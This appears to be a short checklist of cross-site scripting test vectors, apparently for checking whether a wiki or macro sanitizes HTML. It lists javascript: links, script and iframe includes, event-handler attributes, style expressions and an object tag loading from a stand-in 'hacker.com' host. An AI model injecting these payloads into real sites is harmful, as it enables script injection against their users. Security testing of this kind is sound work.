1) Usage of <a> tag with the 'ahref' attribute. Like:
<a href='javascript:alert("Test");'>Test 1</a>
<a href='javascript:alert("Test Vulnerability through a href unicode");'>Test 2</a>
(or)
[javascript:alert('Test Vulnerability through a href');]
2) Usage of javascript. Like:
<script>alert('Test Vulnerability through script');</script>
3) Usage of script with include. Like:
<script type="text/javascript" src="https://<somesite>/include.js"></script>
4) Usage if iframe with include. Like:
<iframe src="https://bobswift.atlassian.com"></iframe>
5) Usage of 'onXxx' events irrespective of the tags. Like:
<div style="padding: 20px; opacity: 0;height: 20px;" onmouseout="alert('Test Vulnerbility through onXxx events')"></div>
<img src="smiley.gif" alt="Smiley face" height="42" width="42" onerror="alert('No file found')">
6) Usage of script in the src attribute. Like:
<img src="javascript:alert("XSS");">
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">
<input type="image" src="javascript:alert('XSS');">
7) Usage of script in the background attribute. Like:
<body background="javascript:alert("XSS")">
<table background="javascript:alert('XSS')">
<td background="javascript:alert('XSS')">
8) Usage of link tag with href. Like:
<link rel="stylesheet" href="javascript:alert('XSS');">
9) Usage of script in the style attribute. Like:
<div style="background-image: url(javascript:alert('XSS'))">
<div style="width: expression(alert('XSS'));">
10) . Usage of object with include. Like:
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">
